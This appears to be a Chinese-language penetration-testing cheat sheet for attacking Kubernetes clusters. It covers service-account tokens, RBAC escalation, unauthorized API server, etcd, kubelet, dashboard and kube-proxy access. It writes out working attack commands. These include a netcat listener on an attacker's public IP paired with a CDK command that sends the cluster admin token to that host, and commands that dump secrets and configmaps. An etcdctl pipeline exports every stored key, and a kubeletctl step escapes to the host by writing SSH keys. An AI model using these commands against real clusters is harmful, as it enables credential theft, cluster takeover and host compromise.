1. serviceaccount

本来只有节点机器可以访问api server，容器是无法访问apiserver的，如果在创建容器的时候给其配置了serviceaccount，那么这个容器也会有权限访问api server。

如果不配置serviceaccount，则会使用默认的default账号作为serviceaccount账号，这个账号是没有任何权限的。

它由三部分组成，但最重要的是token，只需要一个token文件，就能证明身份：

认证文件会默认被挂载在：/var/run/secrets/kubernetes.io/serviceaccount/

---

如果能获取集群管理员权限的话，可以调用k8s sdk创建特权容器、挂载根目录的容器，获得宿主机权限，或者好把kubectl 放到pod内，创建特权容器、挂载根目录的容器，进而获得书主机权限。

2. RBAC

可以理解成两种权限，第一种是namespace管理员，第二种是集群管理员，它们两者是包含关系。

对serviceaccount进行权限等限制，决定了指定的serviceaccount具体具有什么权限，例如可以配置其只具有访问pod的权限。它是k8s中的一个对象。

如果当前serviceaccount具有创建pod的权限，那么可以使用cdk工具进行绕过，直接提权到最高权限，也就是集群管理员权限。

(on attacker's public server, e.g. 39.104.80.49)
nc -lvp 999
Inside victim pod which has "create pod" privilege, run CDK exploit to dump "admin" service-account's token.

(in victim pod)
./cdk run k8s-get-sa-token default admin 39.104.80.49 999

3. sercret

一般情况下ConfigMap 是用来存储一些非安全的配置信息，因为ConfigMap是明文存储的，面对敏感信息时，我们就需要使用k8s的另一个对象Secret。从Secrets中获取的AK及通信凭证可用户后续渗透中从外部或云产品API窃取信息。

./cdk run k8s-secret-dump auto

4. ConfigMap

configmap就是一个配置文件，里面会存有针对于镜像内部应用的配置信息，例如数据库账号等。

./cdk run k8s-configmap-dump auto

5. cgroup、Procfs、Ptrace

./cdk run /mnt/host_proc mount-procfs "touch /tmp/exp-success"

6. K8s Pod Security Policies

K8s Pod Security Policies会对Pod 创建和更新细节进行的权限控制。而我们可以通过下面的指令获取K8s Pod Security Policies的具体配置信息。

./cdk run k8s-psp-dump auto

7. 扫描指定目录下的ak

./cdk run ak-leakage /var/www/html/php-app

8. 8080端口未授权

8080端口是api server。可以通过请求api来创建恶意的pod最终完成获取宿主机shell的行为。具体步骤如下：

1. http://x.x.x.x:8080/api/v1/namespaces/kube-system/secrets/，获取kube-system的token

2. 创建kubectl配置文件test_config，指定目标地址和步骤2中拿到的token等
   

3. kubectl --kubeconfig=./test_config get pod -n kube-system -o wide成功通过kubectl使用kube-system的token获取pod列表。之后可进一步创建pod或控制已有pod进行命令执行等操作

9. etcd信息泄露

通常etcd数据库会被安装到master节点上，rest api可获取集群内token、证书、账户密码等敏感信息，默认端口为2379。访问路径/v2/keys/?recursive=true，以JSON格式返回存储在服务器上的所有密钥。部分结果如下：

etcd若存在未授权，攻击者导出全量etcd配置，获取k8s认证证书等关键配置，进而通过kubectl创建恶意pod或控制已有pod，后续可尝试逃逸至宿主机

通过etcdctl工具，导出etcd数据库中内容：etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c ‘ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379 get {} >> output.data && echo “” >> output.data’，通过搜索关键字获取kube-system secret

curl --header -k “Authorization: Bearer TOKEN” -X GET https://x.x.x.x:6443/api，通过请求kube-apiserver验证token是否有效。

10. kubelet 10250端口未授权

k8s node对外开启10250(kubelet API)和10255端口(readonly API)，攻击者可创建恶意pod或控制已有pod，后续可尝试逃逸至宿主机。

利用步骤：

1. https://x.x.x.x:10250/pods
   

2. 使用kubeletctl批量获取pod等信息：./kubeletctl pods -s x.x.x.x
   

3. 可使用kubeletctl在特权pod内执行命令，挂载宿主机根目录，通过向宿主机批量写入ssh公钥逃逸到宿主机
   

11. dashboard认证绕过

攻击者可跳过登录，直接进入dashboard web页获取pod和job等状态，并可创建恶意pod，尝试逃逸至宿主机。

12. kube-proxy

攻击者可通过kube-proxy代理来未授权访问本地kube-apiserver组件，创建恶意pod或控制已有pod，后续可尝试逃逸至宿主机.该漏洞一般为业务或开发为了方便，通过kubectl proxy --address=0.0.0.0命令，将kube-apiserver暴露到0.0.0.0，且默认未授权

请求8001端口即可未授权访问kube-apiserver，利用过程与8080端口未授权相同。

参考文章

K8s ServiceAccount与RBAC
k8s十 | 一文读懂基于角色的权限控制RBAC
kubernetes集群渗透测试
k8s对外攻击面总结